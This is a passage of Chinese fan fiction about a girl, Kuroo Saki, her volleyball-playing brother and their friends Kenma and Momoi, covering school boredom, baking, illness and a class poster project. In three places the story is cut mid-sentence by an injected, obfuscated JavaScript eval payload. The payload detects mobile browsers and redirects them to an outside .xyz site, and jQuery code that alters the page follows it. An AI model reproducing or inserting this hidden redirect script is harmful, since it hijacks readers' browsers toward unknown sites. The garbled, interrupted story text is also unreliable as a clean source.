路过体育馆时,黑尾纱季透过玻璃窗捕捉到那个熟悉的身影,黑尾铁朗正在和队友们练习垫球,他的表情是黑尾纱季从未见过的专注与热情。 “快看!是哥哥!”她拽了拽孤爪研磨的袖口。 前排的桃井五月闻声回头,顺着指引望去时突然捂住泛红的脸颊:“纱季!你哥哥打排球的样子好帅!” “...还好吧。”黑尾纱季困惑地眨眨眼,对好友突如其来的激动感到不解。 青峰大辉不屑地撇嘴:“打排球有什么意思,还不如篮球。” 他的目光却不自觉地追随着场内跳动的排球。 “所有跑来跑去的运动都一样讨厌。”黑尾纱季凑到孤爪研磨耳边悄悄吐槽,收获了一个深有同感的点头。 两个人一笑,默契地在心里给体育课打了个大大的叉。 放学时分,黑尾纱季和孤爪研磨按照老师要求手牵着手,掌心传来的温度让人安心。 “真好呢,一直都能和研磨在一起。”她晃动着交握的手,看着花瓣落在两人的肩头:“要适应新朋友实在太麻烦了。” 孤爪研磨轻轻嗯了一声,目光扫过远处打闹的同学,又落回两人相牵的手上。 公交站牌下,黑尾铁朗正朝他们挥手。 看到妹妹和好友走来,他露出灿烂的笑容。 12. 厌学与饼干 最近,黑尾纱季陷入了一个微妙的烦恼——她开始对上学产生了一种难以名状的抵触情绪。 这种情绪并非源于校园霸凌或是学业压力,相反,她的校园生活堪称完美。 在人际关系方面,她与桃井五月建立了深厚的友谊。 这个活泼开朗的女孩成为了黑尾纱季人生中第一个真正意义上的闺蜜,她们形影不离,无话不谈,甚至连桃井五月的幼驯染青峰大辉也因此成为了黑尾纱季的好友。 学业方面她更是无需担忧。 与不擅长学习的哥哥截然不同,黑尾纱季因为从小喜欢安静看书的性格,文科类的教程她的成绩一直都在首位,理科类的课程也一直保持前列。 因为成绩不错,长相又甜美可爱,性格虽然内敛但是也没有什么糟糕的大问题,黑尾纱季的国小生活其实相对来说是比较顺利的。 然而,就是这样完美的校园生活,却让她产生了厌学情绪。 这个反常的现象让黑尾明美和黑尾拓真忧心忡忡。在一个周五的下午,趁着黑尾铁朗外出打排球的机会,他们将女儿叫到了客厅。 “纱季,最近在学校遇到什么不开心的事了吗?”黑尾明美轻声问道。 黑尾纱季抱着她最爱的玩具熊蜷缩在沙发角落,将半张脸埋在柔软的绒毛里。 “没什么问题啦......”她的声音闷闷的:“五月很照顾我,同学们也都很好。” 黑尾拓真与妻子交换了一个担忧的眼神。 客厅里一时陷入沉默,只剩下墙上挂钟的滴答声,正当夫妻二人准备展开新一轮的头脑风暴时,黑尾纱季突然抬起了头。 “其实......”她犹豫地绞着玩具熊的耳朵:“就是觉得国小的生活和幼儿园很不一样。” 她歪着头考虑了一下,最终还是决定把自己的困惑说出来:“以前在幼儿园,如果不想听课,可以做自己喜欢的事,但现在......”她的声音渐渐低下去:“我知道学生应该以学业为重,可是......” “可是很多课程内容你都已经掌握了,所以觉得无聊?”黑尾明美敏锐地接上了女儿未尽的话语。 黑尾纱季点点头,玩具熊被她抱得更紧了。 黑尾明美和黑尾拓真松了口气,夫妻两人又对视了一眼,在电光火石之间达成了共识,紧绷的气氛瞬间消散。 伸手揉了揉女儿的头发,黑尾明美说道:“原来我们纱季是因为太聪明了才会烦恼啊。” “才不是。”黑尾纱季小声抗议,脸颊泛起淡淡的红晕,她很清楚自己只是比同龄人更爱读书而已。 “好好好,那我们纱季是个特别有主见的小朋友。”黑尾拓真笑着哄道,眼角泛起熟悉的笑纹:“你看你哥哥,成绩那么差还天天拉着研磨去打排球,我们不也没反对吗?” “可是哥哥上学期成绩不好,不是被送去补习班了吗?”黑尾纱季敏锐地指出。 “那是因为我们希望他明白,想要追求自己喜欢的事物,也需要付出相应的努力。”黑尾明美温柔地解释:“纱季,既然你已经掌握了课堂内容,为什么不利用这些时间探索其他感兴趣的事物呢?就像你哥哥找到排球那样。” “但我还是觉得学习很无趣......”黑尾纱季咬着下唇。 “像以前那样看看课外书怎么样?”黑尾明美提议道。 黑尾纱季的眼睛亮了一下,随即又暗淡下来:“万一影响成绩怎么办?” “成绩波动了再努力补回来就是了。”黑尾拓真不以为然地摆摆手:“人生又不是只有考试这一件事。” 这场预想中剑拔弩张的家庭谈话,最终在温馨的氛围中落下帷幕。 谈话结束后,黑尾明美还特意烤了女儿最爱的巧克力曲奇,香甜的气息弥漫在整个客厅,黑尾纱季小口咬着曲奇,心中的大石头终于落地。 她偷偷看着父母忙碌的背影,为自己拥有这样开朗的爸爸妈妈感到开心。 从那天起,黑尾纱季重新找回了课堂上看课外书的习惯。 不过与幼儿园时的随心所欲不同,现在的她学会了自我约束。 每天晚上,她都会认真预习第二天的课程内容,根据掌握程度决定上课时的安排,已经完全理解的课程就看自己喜欢的书,稍有疑问的则专心听讲。 每次小测后,她都会仔细分析成绩波动的原因,及时调整学习方法。 这种自律让她的成绩始终名列前茅,最开始那些厌学的心态也渐渐没有了。 更令人惊喜的是,在这种自主安排的学习节奏中,她反而发现了更多学习的乐趣。 与此同时,黑尾铁朗对排球的热情与日俱增。 每个周末,他都会拉着孤爪研磨去排球教室训练。 对此,黑尾纱季倒是早就看穿了哥哥所谓“二传手不用跑动”的谎言,但出于好奇孤爪研磨能坚持到什么程度,她一直保持着沉默。 周一到周五放学后,河堤边总能看到两个少年的身影,一个专注地抛球,一个奋力扣杀。 天气晴好时,黑尾纱季也会带着书本加入他们,她坐在不远处的草地上,时而沉浸在书中的世界,时而抬头看看汗流浃背的两人。 夕阳西下时,他们会一起踏上归途,三个人的影子被拉得很长很长。 黑尾铁朗曾试图将妹妹也拉入他的排球世界,可惜黑尾纱季的身体素质实在难以承受剧烈运动。 仅仅跟练一周后,她就因为过度疲劳而发起高烧,虽然这些年体质有所改善,但距离运动健将还差得远。 最终,黑尾铁朗不得不放弃这个念头。 “为什么男生都这么喜欢球类运动呢?”某天午休时,黑尾纱季忍不住向桃井五月吐槽:“我哥哥打排球,青峰打篮球,我在西东京的朋友打棒球......文学难道不香吗?” 桃井五月双手捧脸,眼睛闪闪发亮:“运动系的男生超帅的好吗!想想看,排球扣杀时的爆发力,篮球三分球的完美弧线,棒球全垒打的气势......简直帅炸了!“=” “真的帅吗?”黑尾纱季转头问正在打游戏的孤爪研磨。 “累死了,一点都不帅。”孤爪研磨头也不抬地回答,手指在游戏机上灵活地移动着。 黑尾纱季偷笑,心想这大概就是所谓的口嫌体正直。 如果真的觉得累,为什么还要坚持打球呢?少年人的心思,有时候真是有趣。 ...... 一年级的家政课在教授了几周冷食制作后,终于开始尝试更有挑战性的内容——简单的水果点心制作。 这门课像一面镜子,清晰地照出了每个学生的料理天赋。 黑尾纱季无疑是这门课的最大赢家。 她制作的每一道点心都色香味俱全,简单的食材在她手中仿佛被施了魔,老师们赞不绝口,同学们争相品尝,就连挑剔的黑尾铁朗也对妹妹的手艺竖起大拇指。 而桃井五月的情况则截然不同。 无论她如何严格按照食谱操作,成品总是笼罩着一层诡异的黑紫色雾气,明明是同样的食材,经她之手就会变得面目全非,青峰大辉曾英勇尝试了一口,结果上吐下泻三天才好。 “每个人都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15408972|168796||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有擅长和不擅长的事。”黑尾纱季安慰道:“五月虽然不擅长料理,但理科和运动都很厉害啊!” 不过桃井五月似乎并不需要安慰,她总是元气满满地投入下一次尝试。 看着这样的好友,黑尾纱季既佩服又无奈。 而每次家政课上青峰大辉铁青的脸色,都让孤爪研磨暗自庆幸自己的搭档是料理天才黑尾纱季。 家政课的成功激发了黑尾纱季对烹饪的兴趣。 某个周末,她决定向母亲学习制作蔓越莓曲奇。 周六清晨,黑尾铁朗刚出门去排球教室,黑尾纱季就迫不及待地起床了。 她快速吃完早餐,像只小麻雀一样围着母亲打转,黑尾明美被女儿的热情逗笑,系上围裙开始了教学。 制作蔓越莓曲奇的第一步是打发黄油。 黑尾纱季站在小板凳上,全神贯注地观察母亲的动作,当轮到她自己操作时,她小心翼翼地用搅拌器打发黄油,直到混合物变得蓬松柔软,加入蛋黄时,她的动作轻柔得像在对待什么珍贵的宝物。 “要像这样,慢慢搅拌......”黑尾明美握着女儿的手示范道。 低筋面粉过筛后,黑尾纱季戴上小手套开始揉面,面团在她手中渐渐变得光滑有弹性,加入蔓越莓干时,她特意多放了一些,因为知道哥哥喜欢酸甜的口感。 “中午就能烤好了!”黑尾纱季兴奋地将整形好的面团放入模具:“我想带着饼干去接哥哥下课!” “那爸爸要第一个试吃!”黑尾拓真举着摄像机说道。 这台机器记录了两兄妹无数成长瞬间,从黑尾铁朗第一次蹒跚学步,到黑尾纱季第一次举着书本朗诵。 上次拍摄黑尾铁朗打排球的糗样后,父子俩还上演了一场摄像机争夺战。 “第一个要给妈妈!妈妈最辛苦了。”黑尾纱季撒娇道,惹得黑尾明美心里暖暖的。 等待面团冷冻的时间格外漫长,黑尾纱季几乎每隔五分钟就要打开冰箱查看一次,直到母亲笑着阻止她。 终于,面团达到了最佳切割状态。在黑尾明美的指导下,黑尾纱季将面团切成均匀的薄片,整齐地排列在烤盘上。 当曲奇进入烤箱后,黑尾纱季搬来小板凳,双手托腮守在烤箱前。 透过玻璃门,她看着面团渐渐膨胀,边缘泛起金黄的色泽,香甜的气息逐渐充满整个厨房,让她忍不住咽了咽口水。 叮的一声,烤箱停止了工作,黑尾纱季迫不及待地戴上隔热手套,取出烤盘。 金黄色的曲奇上点缀着红艳艳的蔓越莓干,散发着诱人的香气。 “好吃!”父母尝过后的一致好评让黑尾纱季信心大增,她小心地拿起一块放入口中,酥脆的口感和酸甜的味道在舌尖绽放,让她惊喜地睁大了眼睛。 “感觉比店里卖的还要好吃!”她不可思议地说道。 同样的评价也出现在排球教室门口。 当黑尾铁朗和孤爪研磨走出训练馆,看到等候多时的黑尾纱季和她手中的饼干盒时,两人的眼睛都亮了起来。 “纱季做的蔓越莓曲奇比店里卖的还好吃!”黑尾铁朗一口气吃了三块,含糊不清地称赞道。 孤爪研磨细细品味着口中的曲奇,轻声道:“因为这里面有纱季的心意吧。” 这句话让黑尾纱季惊讶地睁大了眼睛。 “研磨和妈妈说了一样的话!”她开心地说道,阳光在她发间跳跃,像是撒了一层金粉。 此刻,她突然明白了烹饪的魔力——原来将自己的心意融入食物中,真的能让味道变得与众不同。 13.医院与游戏 这天清晨,黑尾纱季又一次因为高烧不退被母亲带去医院。 医院的儿科永远充斥着令人心烦意乱的嘈杂声——此起彼伏的交谈声、护士急促的脚步声,还有孩子们尖锐的哭闹声交织在一起,形成一种令人窒息的声浪。 本就因高烧而精神萎靡的黑尾纱季,在这片嘈杂中显得更加虚弱。 她苍白的小脸上泛着不自然的潮红,纤长的睫毛在眼下投下一片阴影,整个人像株被烈日晒蔫的小草般倚在母亲身上。 黑尾明美忧心忡忡地抚摸着女儿滚烫的额头,指腹传来的热度让她不自觉地皱起眉头,她焦急地望向前面蜿蜒的候诊队伍,又低头看了看手表,已经等了将近四十分钟,队伍却只前进了不到三分之一。 “等这次病好了,纱季想吃点什么好吃的?”黑尾明美刻意用轻快的语气问道,手指轻轻梳理着女儿有些凌乱的发丝。 黑尾纱季勉强睁开沉重的眼皮,高烧让她的思维像被搅浑的浆糊一般迟钝。 她微微仰起小脸,声音软糯得像是融化的棉花糖:“想吃......苹果派......要加很多柠檬汁的那种......”说到一半,她突然想起什么似的补充道:“研磨......也很喜欢这个口味......” 即使在病中也不忘惦记好友,这个细节让黑尾明美心头一暖。 “除了苹果派呢?妈妈可以做盐焗秋刀鱼,你和铁朗都爱吃。”黑尾明美牵着女儿往前挪了一步,感觉到掌心里的小手比平时更加滚烫。 就在这时,前方诊疗区突然爆发出刺耳的哭声。 一个约莫两岁多的男孩正躺在触诊床上拼命挣扎,小脸涨得通红,三位医护人员和孩子的父母合力按着他,却仍控制不住他扭动的身躯。 这阵骚动引得附近的护士都赶来支援,场面一时混乱不堪。 “小孩子......好讨厌......”黑尾纱季把发烫的脸颊贴在母亲腰间,不满地嘟起嘴唇,剧烈的头痛让她不得不闭上眼睛,纤弱的手指紧紧攥住母亲的衣角。 自从升入国小后,黑尾纱季就自诩为大人了。 在她眼中,那些还在上幼儿园的孩童都是需要忍受的小麻烦。 此刻这些哭闹声像钝器般敲打着她的太阳穴,让她本就难受的身体更加不适。 黑尾明美被女儿这副小大人的模样逗笑了,她低头看着像树袋熊一样挂在自己身上的小人,忍不住轻轻捏了捏她挺翘的鼻尖:“我们纱季现在是大孩子了?” “嗯......”黑尾纱季认真地点头,全然没听出母亲话中的调侃:“我已经是大孩子了。” 这认真的回应让黑尾明美忍俊不禁。 直到听见母亲的笑声,黑尾纱季才后知后觉地意识到被取笑了。 她睁开眼睛,略带嗔怪地望向母亲,正要抗议时,队伍又向前移动了一截,疲惫感瞬间压倒了她争辩的欲望,她索性又闭上眼睛养神。 其实黑尾纱季心知肚明这是母亲惯用的分散注意力疗法,以往生病时,母女俩聊着聊着,不知不觉就轮到就诊了。 但这次高烧来得又急又猛,仿佛抽走了她全身的力气,连说话的意愿都被烧得所剩无几。 不知过了多久,在半梦半醒间,黑尾纱季终于听到了自己的名字。 作为医院的常客,诊疗过程轻车熟路——量体温、听诊、打针、取药,等一切结束时,她已经被疲惫和药物双重作用折磨得昏昏沉沉。 回到家后,黑尾纱季连衣服都没换就扑进了被窝。 等她再次醒来时,夕阳的余晖已经透过窗帘的缝隙洒在地板上,空气中飘荡着诱人的食物香气。 晚餐桌上摆着她和哥哥最爱的盐焗秋刀鱼。 看到妹妹下楼,黑尾铁朗立刻用筷子灵巧地为鱼肉脱骨,将完整的鱼块夹到她碗里。 “快吃!保证一根刺都没有!”黑尾铁朗殷勤地为妹妹拉开椅子,脸上写满期待。 黑尾纱季有气无力地道了谢,盯着平日里最爱的美食却提不起食欲。 鱼肉散发出的香气此刻反而让她有些反胃。 “纱季,外公寄了礼物给你,看起来挺大的。”黑尾拓真指了指客厅角落的快递箱:“吃完饭我们一起拆开看看?” 黑尾纱季扭头看向那个体积可观的包裹,好奇心终于战胜了不适感。她 慢吞吞地拿起筷子,开始小口小口地进食。 由于黑尾纱季喜欢看书这件事家里人都十分清楚,逢年过节的时候家里人都会送上书本当礼物,适逢黑尾纱季七五三节中的七岁生日,外公直接寄来了一套她心心念念的《十万个为什么》。 当包装纸被撕开的那一刻,黑尾纱季的眼睛瞬间亮了起来。 高烧、头痛、食欲不振,所有不适仿佛都在这一刻烟消云散。 黑尾夫妇看着女儿医学奇迹般的恢复速度,相视一笑。 黑尾铁朗很配合地凑过来,夸张地惊叹:“哇!这不是你一直想要的那套书吗!” “没错!”黑尾纱季迫不及待地拿起一本,手指轻轻抚过崭新的封面:“我今天就要开始看!” 然而她刚翻开第一页,书本就被一只大手抽走了。 黑尾拓真站在身后,脸上带着不容商量的微笑:“不行哦小书虫,医生说你要好好休息,等病完全好了才能看。” 瞬间像被戳破的气球般蔫了下来,黑尾纱季水汪汪的大眼睛无声地诉说着委屈,但在健康问题上,黑尾拓真罕见地展现了父亲的威严:“没得商量,身体第一。” “好吧......”黑尾纱季垂头丧气地应着,整个人仿佛笼罩在一团低气压中。 黑尾铁朗见状,偷偷用手指戳了戳妹妹的手臂,挤眉弄眼地暗示晚上可以偷渡一本给她,谁知这个暗号被父亲敏锐地捕捉到了。 “你以为老爸的眼睛是装饰品吗?”黑尾拓真一把按住儿子的脑袋,露出核善的笑容:“这些书今晚都会放在我卧室,要是少了一本,你心心念念的新排球就......” 零花钱捉襟见肘的黑尾铁朗立刻缴械投降,那副怂样逗得黑尾纱季忍不住摇头。 ...... 黑尾明美是个小有名气的自媒体博主,专攻生活类vlog。 最近她正筹划一期野外露营特辑,原计划是全家人一起出镜,却因故不得不改变安排——黑尾纱季刚痊愈不宜吹风,黑尾铁朗则对周末排球训练营更感兴趣。 最终这个企划意外变成了黑尾夫妇难得的二人约会。 将孩子们托付给邻居孤爪家后,两人便兴高采烈地出发了。 而此刻的黑尾铁朗正陷入一场熬夜危机—— 为了研究职业排球比赛录像,他偷偷看到了凌晨三点。 当刺眼的阳光将他从睡梦中拽醒时,时钟已经指向下午一点半。 “光阿姨知道你又熬夜了。”作息规律的黑尾纱季幸灾乐祸地看着哥哥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15416556|168796||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鸡窝般的头发,将保温盒放在桌上:“这是你的午饭,微波炉热一下就能吃。” 她故意顿了顿,模仿大人语气补充道:“阿姨还说,要建议妈妈没收你的录像带,小孩子熬夜会——长——不——高——哦~” “长不高?”已经比妹妹高出一个头的黑尾铁朗居高临下地狞笑着,伸手将妹妹精心梳理的头发揉成一团乱麻:“那你吃饭的时候怎么不叫我?” “哼!我敲了三次门!”黑尾纱季气鼓鼓地整理着头发:“你睡得跟死猪一样!” 想到母亲知道这件事后的可怕后果,黑尾铁朗抓了抓本就凌乱的头发,沉重地妥协:“下次...直接进来叫我吧。” “你确定?”黑尾纱季狐疑地看着哥哥,脑海中已经浮现出各种被起床气波及的场景。 得到肯定的答复后,黑尾纱季看着哥哥狼吞虎咽地解决午餐,又利落地洗完碗筷。 转眼间,那个精力充沛的黑尾铁朗又回来了,他兴奋地翻出珍藏的比赛录像,眼睛闪闪发亮:“纱季!走!我们去找研磨一起看!” “你昨晚不是刚看过吗?”黑尾纱季对哥哥的排球狂热症表示不解。 “太精彩了!值得再看一遍!研磨一定会喜欢的!”黑尾铁朗信誓旦旦地保证。 想到好友只有在遇到真正有趣的游戏时才会露出的表情,黑尾纱季决定保留意见。 她合上手中的书本,无奈地站起身:“好吧,走吧。” 孤爪夫妇下午都不在家,两个孩子轻车熟路地穿过庭院,径直上楼。 “研磨!快看这个!”黑尾铁朗猛地推开卧室门,下一秒却像触电般僵在原地,他迅速转身捂住妹妹的眼睛,声音因尴尬而变调:“对不起!!” 房间内,正在穿裤子的孤爪研磨被这突如其来的闯入吓得魂飞魄散,他保持着单脚站立的滑稽姿势,一滴冷汗顺着脸颊滑落。 虽然黑尾铁朗反应迅速,但黑尾纱季还是捕捉到了关键画面——绿色卫衣、黄色裤子,以及......白色的内裤(后来孤爪研磨红着脸抗议:你这不全都看见了吗!!)。 走廊上,兄妹俩面面相觑了片刻,突然同时爆发出大笑。 “你们两个......适可而止啊......”换好衣服的孤爪研磨无奈地站在门口,脸颊还带着未褪的红晕。 “研磨!你看这个!”黑尾铁朗再次举起录像带,仿佛刚才的尴尬从未发生。 “......又是比赛录像?”孤爪研磨转身回屋,弯腰收拾着地上的杂物,腾出一块空地。 “超级精彩!”黑尾铁朗迫不及待地挤进房间。 “所以你昨晚熬夜到三点?”孤爪研磨想起午饭时候听到妈妈和黑尾纱季对话,他猜到了真相,叹了口气。 随后他从地上捡起两个游戏手柄,转向黑尾纱季:“别理那个排球笨蛋,要玩新游戏吗?刚入手的双人解密RPG。” 受孤爪研磨影响,黑尾纱季偶尔也会玩些游戏。 看到精美的封面设计,她接过手柄兴致勃勃地坐下。 被冷落的黑尾铁朗瞬间石化,他幽怨地蹲在角落,小声嘀咕:“游戏有什么好玩的......还不如看比赛......” 然而当屏幕上出现惊险场景时,他的身体却诚实地凑了过来:“啊啊!纱季快躲开!右边有怪物!” 黑尾纱季和孤爪研磨交换了一个心照不宣的眼神,嘴角悄悄上扬——计划通。 14.手抄报 “咔叽咔叽的倒底是什么声音啊,因为我们已经到了咔叽咔叽山......” 黑尾纱季哼着这首古老童谣的奇怪调子,阳光透过窗户洒在她面前的白纸上,她纤细的手指在水彩笔盒里挑拣着,最终选出一支鲜艳如血的红色水彩笔。 笔尖在纸上轻轻划过,发出细微的沙沙声。 手下是一张画了狸猫和兔子的纸张。 这两只小动物的造型虽然带着孩童特有的稚嫩笔触,但神态和特征却跃然纸上——一只狡黠的兔子正弓着背,鬼鬼祟祟地给前面毫无防备的狸猫背上的木柴点火。 画面中那种诡异的氛围与童真的画风形成奇妙的对比。 “纱季,你确定手抄报要画这个主题吗?”黑尾铁朗托腮坐在妹妹旁边,看着她专注地创作,他的手指不安地敲击着桌面,嘴巴张了又合,纠结了很久才终于问出这句话。 黑尾纱季抬起头,用略带困惑的眼神看了哥哥一眼:“为什么不呢?” 她歪着头,一缕黑发从耳后滑落。 “这个故事应该没有多少人喜欢吧,明明恐怖死了。”黑尾铁朗搓了搓手臂,仿佛要驱散突然冒出的寒意。 他记得小时候第一次听这个故事时,做了整整一周的噩梦。 黑尾纱季轻哼一声,手中的画笔继续在纸上舞动:“那是因为你胆子小。” 她的语气里带着明显的揶揄。 “那你觉得你的同学们胆子都很大吗?”黑尾铁朗不甘示弱地反问,同时伸手调整了一下妹妹歪掉的发夹。 黑尾纱季的动作停顿了一下。 她抬起头,回想着之前和桃井五月在教室里讨论手抄报主题时的情景,当她说出要画《咔叽咔叽山的故事》时,桃井只是眨了眨那双粉色的大眼睛,并没有表现出特别的反应。 “是你胆子太小了。”黑尾纱季最终笃定地说,嘴角扬起一个胜利的微笑。 这下黑尾铁朗彻底炸毛了。 他站起来,故意把妹妹的头发揉得乱糟糟的,然后转移话题:“那研磨准备画什么呢?” “不知道诶。”黑尾纱季一边整理被弄乱的头发,一边回答。 “嗯?”铁朗挑了挑眉。 黑尾纱季回想起教室里的一幕,当老师宣布手抄报作业后,孤爪研磨就像一滩融化的史莱姆一样瘫在桌子上,黑色的头发散落在桌面,整个人散发着不想做作业的气息。 “研磨应该就是随便做做吧。”黑尾纱季无奈地摇摇头。 想到好友平日的作风,黑尾铁朗不得不承认这个推测很合理,以孤爪研磨的性格,肯定会选择最省时省力的方案完成作业。 “不过应该和游戏有关。”兄妹俩异口同声地说出这句话,然后相视一笑。 话题又回到原点,黑尾铁朗看着妹妹在预留的文本框里工整地写下《咔叽咔叽山的故事》的标题,不由得感到一阵牙疼。 他几乎可以预见,这份充满暗黑色彩的童谣手抄报恐怕很难获得好成绩。 ...... 周一早晨的教室里洋溢着孩子们兴奋的交谈声。 黑尾纱季环顾四周,发现自己的恐怖童谣手抄报在众多作品中并不算最特别的。 同学们正在互相交换欣赏彼此的作品,其中一份画着光秃秃大眼睛外星人的手抄报尤其引人注目。 回到座位上,桃井五月正和青峰大辉争论谁的手抄报更出色,黑尾纱季好奇地凑过去,看到桃井的作品是一份关于樱桃派的专题手抄报。 整张纸以粉色调为主,除了精致的手绘图案外,还点缀着各种可爱的贴纸,看起来就像一块真正的樱桃派那样诱人。 “五月,这个太棒了!”黑尾纱季由衷地赞叹,竖起大拇指:“光是看着就让人想吃樱桃派了!” 旁边的青峰大辉不满地嗤了一声,黑尾纱季转头看去,发现他的作品是关于篮球的专题。 “竟然不是泳装大姐姐吗?”黑尾纱季小声对桃井五月耳语,成功地收获了青峰大辉恼羞成怒的瞪视。 平心而论,青峰的手抄报做得也不差。 上面贴满了从杂志上剪下来的篮球明星照片和比赛精彩瞬间,排版也很有冲击力,但向来帮亲不帮理的黑尾纱季毫不犹豫地站在好友这边。 她装模作样地摸着下巴,煞有介事地宣布:“还是五月的手抄报更好看。” “哈?!”青峰大辉立刻炸毛,转身推了推一直安静坐在一旁的孤爪研磨:“孤爪,你来评评理!” 孤爪研磨叹了口气,一双金色猫眼里尽是无奈,他本来已经尽量降低存在感了,却还是被卷入了这场幼稚的争执。 黑尾纱季立刻朝他疯狂眨眼暗示,试图拉拢这位关键票。 想到如果支持青峰大辉会引发的后果,孤爪研磨对青峰大辉投去一个歉意的眼神,然后默默指向了桃井五月的手抄报。 “三比一!是我们五月赢了!”黑尾纱季和桃井五月欢呼着击掌庆祝,而青峰大辉则抱着手臂,气呼呼地指责孤爪研磨叛变。 就在这欢乐的吵闹声中,上课铃声响起,老师快步走进教室。 今天是手抄报评选的日子,黑尾纱季小心翼翼地取出自己的作品,像一只等待投喂的小猫一样,眼睛亮晶晶地望着老师,无形的尾巴似乎都要翘到天上去了。 孤爪研磨瞥了一眼同桌桌上那份暗黑风格的手抄报,想起黑尾铁朗之前的担忧,心里已经预见到纱季可能会失望的结果。 果然,评选结束时,青峰大辉和桃井五月的手抄报都进入了前十名,而黑尾纱季的作品排名却相当靠后。 刚才还神气活现的小猫瞬间变成了被大雨淋湿的落汤猫,整个人都蔫了下来,连看不见的猫耳朵都耷拉下来了。 “没关系的纱季。”桃井五月温柔地抚摸她的头发:“肯定是老师被这个故事吓到了,你的画真的很棒,扩写的故事也很有趣。” “不是,这种内容能得奖才奇怪吧。”青峰大辉直言不讳地吐槽。 听到这话,黑尾纱季想起哥哥之前的评价,眼眶立刻泛起湿意,泪眼汪汪地看着青峰大辉:“可是这明明是个很可爱的故事啊......” “啊?你说这个可爱——”青峰大辉说到一半突然停住,面对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15427241|168796||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黑尾纱季可怜巴巴的眼神,他不自在地咳嗽两声,移开视线不再说话。 但这次失利还是给了黑尾纱季不小的打击,整天的课程她都心不在焉,连老师提问时都反应迟钝。 放学路上,沉默了一整天的黑尾纱季终于忍不住开口:“研磨都不安慰我。” “纱季不需要我特意安慰吧。”孤爪研磨头也不抬,专注地盯着手中的游戏机屏幕,手指灵活地操控着按键。 感觉自己被敷衍的黑尾纱季气鼓鼓地扑上去,一把抢过游戏机,但当她看到屏幕上正在进行的关键boss战时,又心虚地赶紧还了回去。 确认游戏没有因为自己的捣乱而失败,黑尾纱季悄悄松了口气,然后乖乖站在一旁,全神贯注地看着孤爪研磨操作。 只见他精准地躲避着boss如雨点般的攻击,抓住每一个间隙反击,最终,在boss不甘的怒吼声中,屏幕上跳出“胜利”的字样。 “太厉害了!那么密集的攻击都能无伤通过!”黑尾纱季由衷赞叹,自从和孤爪研磨成为朋友后,她也学会了不少游戏术语。 孤爪研磨保存好进度,收起游戏机,这才注意到女孩微红的眼角。 他轻声问道:“现在说说你的事?” “我?手抄报的事吗?”沉浸在游戏精彩操作中的黑尾纱季一时没反应过来,经提醒才想起自己的伤心事。 “其实纱季自己也知道吧,选的题材太小众了。”孤爪研磨一针见血。 黑尾纱季吸了吸鼻子,委屈地点头:“我以为选冷门题材就不会撞车,这样获奖几率会大一些......” “但你也明白为什么冷门题材不容易受欢迎。”孤爪研磨的话让黑尾纱季更加沮丧。 “嗯......”她闷闷地应着,踢着路上的小石子。 两人沉默地并肩走着,看着好友依旧低落的样子,孤爪研磨微不可闻地叹了口气。 “要吃冰淇淋吗?”他突然指向不远处的一辆冰淇淋车。 黑尾纱季的眼睛立刻亮了起来:“可以要双球巧克力味的吗?” 她得寸进尺地讨价还价。 面对那双湿漉漉的、充满期待的眼睛,孤爪研磨把到嘴边的拒绝咽了回去:“只能两个球,别告诉大人。” “好耶!”黑尾纱季欢呼雀跃,刚才的阴霾一扫而空。 ...... 多年以后,已经成为作家的黑尾纱季依然会清晰地记得这个平凡的下午。 金灿灿的阳光透过树叶的缝隙洒落,在地上投下斑驳的光影。 她举着双球巧克力冰淇淋,甜蜜的滋味在舌尖化开,幸福得眯起眼睛,所有的不愉快都随着冰淇淋的清凉而消散。 那时的她刚刚懵懂地意识到人生没有捷径可走,却不知道这次小小的手抄报事件会对她未来的写作生涯产生怎样的影响。 此刻的她只是一个普通的小学生,为失去手抄报比赛的奖励而伤心,又因朋友们的安慰和难得的美味冰淇淋而感到无比幸福。 在这个阳光明媚的午后,黑尾纱季觉得自己就是世界上最快乐的小女孩。 15.蝴蝶标本 继体育课之后,黑尾纱季又有了一门比较讨厌的课程。 准确地说,是因为作业而讨厌的课——自然课。 更准确地说,是这个该死的制作蝴蝶标本的作业。 七月的午后,阳光炙烤着校园后山的小树林,蝉鸣声此起彼伏,空气中弥漫着青草被晒热后散发出的清香。 黑尾纱季踩着有些发蔫的草地,手中的捕捉网杆已经被汗水浸得发粘。 她今天特意穿了一套蓝白相间的运动套装——短袖上衣和长裤,本以为这样能避免蚊虫叮咬,却还是低估了夏日的吸血鬼们。 “所以说这个作业的意义到底是什么啊......”黑尾纱季抓挠着手臂上新添的蚊子包,目光不自觉地飘向走在前面的孤爪研磨。 那个黑发男孩穿着清凉的短袖短裤,露出的手臂和小腿却神奇地没有任何被叮咬的痕迹,这让黑尾纱季既羡慕又恼火。 